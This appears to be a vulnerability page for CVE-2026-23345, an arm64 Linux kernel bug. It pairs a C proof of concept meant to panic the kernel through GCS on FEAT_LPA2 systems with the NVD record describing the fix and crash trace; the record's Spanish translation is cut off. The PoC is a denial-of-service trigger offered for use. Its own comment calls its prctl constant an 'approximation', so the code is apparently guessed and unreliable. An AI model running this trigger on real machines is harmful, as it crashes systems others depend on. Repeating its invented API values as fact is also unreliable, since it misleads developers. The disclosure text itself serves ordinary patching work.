CVE-2026-23345

/* * PoC for CVE-2026-23345 (Linux Kernel arm64 GCS DoS) * This code attempts to enable GCS on a system with FEAT_LPA2 enabled, * triggering the kernel panic upon exit. * Compile: gcc -o poc_gcs poc_gcs.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/syscall.h> // Approximation of GCS related prctl options based on kernel feature #ifndef PR_SCHED_GCS #define PR_SCHED_GCS 63 #define PR_SCHED_GCS_ENABLE 1 #endif int main() { printf("[+] CVE-2026-23345 PoC Trigger\n"); printf("[+] Attempting to enable GCS feature...\n"); // Enable GCS for the current process // On a vulnerable kernel with LPA2, this sets up the faulty PTE bits long ret = prctl(PR_SCHED_GCS, PR_SCHED_GCS_ENABLE, 0, 0, 0); if (ret == 0) { printf("[+] GCS enabled successfully.\n"); } else { printf("[-] prctl failed (GCS might not be supported or already enabled). Error: %ld\n", ret); // Even if it fails here, running on a kernel where it is force-enabled via config could trigger it } printf("[+] Exiting process to trigger gcs_free path...\n"); // The crash occurs in gcs_free -> vm_munmap -> zap_huge_pmd return 0; }

{"cve": {"id": "CVE-2026-23345", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:32.610", "lastModified": "2026-04-24T18:17:11.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: gcs: Do not set PTE_SHARED on GCS mappings if FEAT_LPA2 is enabled\n\nWhen FEAT_LPA2 is enabled, bits 8-9 of the PTE replace the\nshareability attribute with bits 50-51 of the output address. The\n_PAGE_GCS{,_RO} definitions include the PTE_SHARED bits as 0b11 (this\nmatches the other _PAGE_* definitions) but using this macro directly\nleads to the following panic when enabling GCS on a system/model with\nLPA2:\n\n Unable to handle kernel paging request at virtual address fffff1ffc32d8008\n Mem abort info:\n ESR = 0x0000000096000004\n EC = 0x25: DABT (current EL), IL = 32 bits\n SET = 0, FnV = 0\n EA = 0, S1PTW = 0\n FSC = 0x04: level 0 translation fault\n Data abort info:\n ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n swapper pgtable: 4k pages, 52-bit VAs, pgdp=0000000060f4d000\n [fffff1ffc32d8008] pgd=100000006184b003, p4d=0000000000000000\n Internal error: Oops: 0000000096000004 [#1] SMP\n CPU: 0 UID: 0 PID: 513 Comm: gcs_write_fault Tainted: G M 7.0.0-rc1 #1 PREEMPT\n Tainted: [M]=MACHINE_CHECK\n Hardware name: QEMU QEMU Virtual Machine, BIOS 2025.02-8+deb13u1 11/08/2025\n pstate: 03402005 (nzcv daif +PAN -UAO +TCO +DIT -SSBS BTYPE=--)\n pc : zap_huge_pmd+0x168/0x468\n lr : zap_huge_pmd+0x2c/0x468\n sp : ffff800080beb660\n x29: ffff800080beb660 x28: fff00000c2058180 x27: ffff800080beb898\n x26: fff00000c2058180 x25: ffff800080beb820 x24: 00c800010b600f41\n x23: ffffc1ffc30af1a8 x22: fff00000c2058180 x21: 0000ffff8dc00000\n x20: fff00000c2bc6370 x19: ffff800080beb898 x18: ffff800080bebb60\n x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000007\n x14: 000000000000000a x13: 0000aaaacbbbffff x12: 0000000000000000\n x11: 0000ffff8ddfffff x10: 00000000000001fe x9 : 0000ffff8ddfffff\n x8 : 0000ffff8de00000 x7 : 0000ffff8da00000 x6 : fff00000c2bc6370\n x5 : 0000ffff8da00000 x4 : 000000010b600000 x3 : ffffc1ffc0000000\n x2 : fff00000c2058180 x1 : fffff1ffc32d8000 x0 : 000000c00010b600\n Call trace:\n zap_huge_pmd+0x168/0x468 (P)\n unmap_page_range+0xd70/0x1560\n unmap_single_vma+0x48/0x80\n unmap_vmas+0x90/0x180\n unmap_region+0x88/0xe4\n vms_complete_munmap_vmas+0xf8/0x1e0\n do_vmi_align_munmap+0x158/0x180\n do_vmi_munmap+0xac/0x160\n __vm_munmap+0xb0/0x138\n vm_munmap+0x14/0x20\n gcs_free+0x70/0x80\n mm_release+0x1c/0xc8\n exit_mm_release+0x28/0x38\n do_exit+0x190/0x8ec\n do_group_exit+0x34/0x90\n get_signal+0x794/0x858\n arch_do_signal_or_restart+0x11c/0x3e0\n exit_to_user_mode_loop+0x10c/0x17c\n el0_da+0x8c/0x9c\n el0t_64_sync_handler+0xd0/0xf0\n el0t_64_sync+0x198/0x19c\n Code: aa1603e2 d34cfc00 cb813001 8b011861 (f9400420)\n\nSimilarly to how the kernel handles protection_map[], use a\ngcs_page_prot variable to store the protection bits and clear PTE_SHARED\nif LPA2 is enabled.\n\nAlso remove the unused PAGE_GCS{,_RO} macros."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\narm64: gcs: No establecer PTE_SHARED en mapeos GCS si FEAT_LPA2 está habilitado\n\nCuando FEAT_LPA2 está habilitado, los bits 8-9 del PTE reemplazan el atributo de compartibilidad con los bits 50-51 de la dirección de salida. Las definiciones _PAGE_GCS{,_RO} incluyen los bits PTE_SHARED como 0b11 (esto coincide con las otras definiciones _PAGE_*) pero usar esta macro directamente lleva al siguiente pánico al habilitar GCS en un sistema/modelo con LPA2:\n\n Incapaz de manejar la solicitud de paginación del kernel en la dirección virtual fffff1ffc32d8008\n Información de aborto de memoria:\n ESR = 0x0000000096000004\n EC = 0x25: DABT (EL actual), IL = 32 bits\n SET = 0, FnV = 0\n EA = 0, S1PTW = 0\n FSC = 0x04: fallo de traducción de nivel 0\n Información de aborto de datos:\n ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n tabla de páginas del swapper: páginas de 4k, VAs de 52 bits, pgdp=0000000060f4d000\n [fffff1ffc32d8008] pgd=100000006184b003, p4d=0000000000000000\n Error interno: Oops: 0000000096000004 [#1] SMP\n CPU: 0 UID: 0 PID: 513 Comm: gcs_write_fault Contaminado: G M 7.0.0-rc1 #1 PREEMPT\n Contaminado: [M]=MACHINE_CHECK\n Nombre del hardware: QEMU QEMU Máquina Virtual, BIOS 2025.02-8+deb13u1 11/08/2025\n pstate: 03402005 (nzcv daif +PAN -UAO +TCO +DIT -SSBS BTYPE=--)\n pc : zap_huge_pmd+0x168/0x468\n lr : zap_huge_pmd+0x2c/0x468\n sp : ffff800080beb660\n x29: ffff800080beb660 x28: fff00000c2058180 x27: ... (truncated)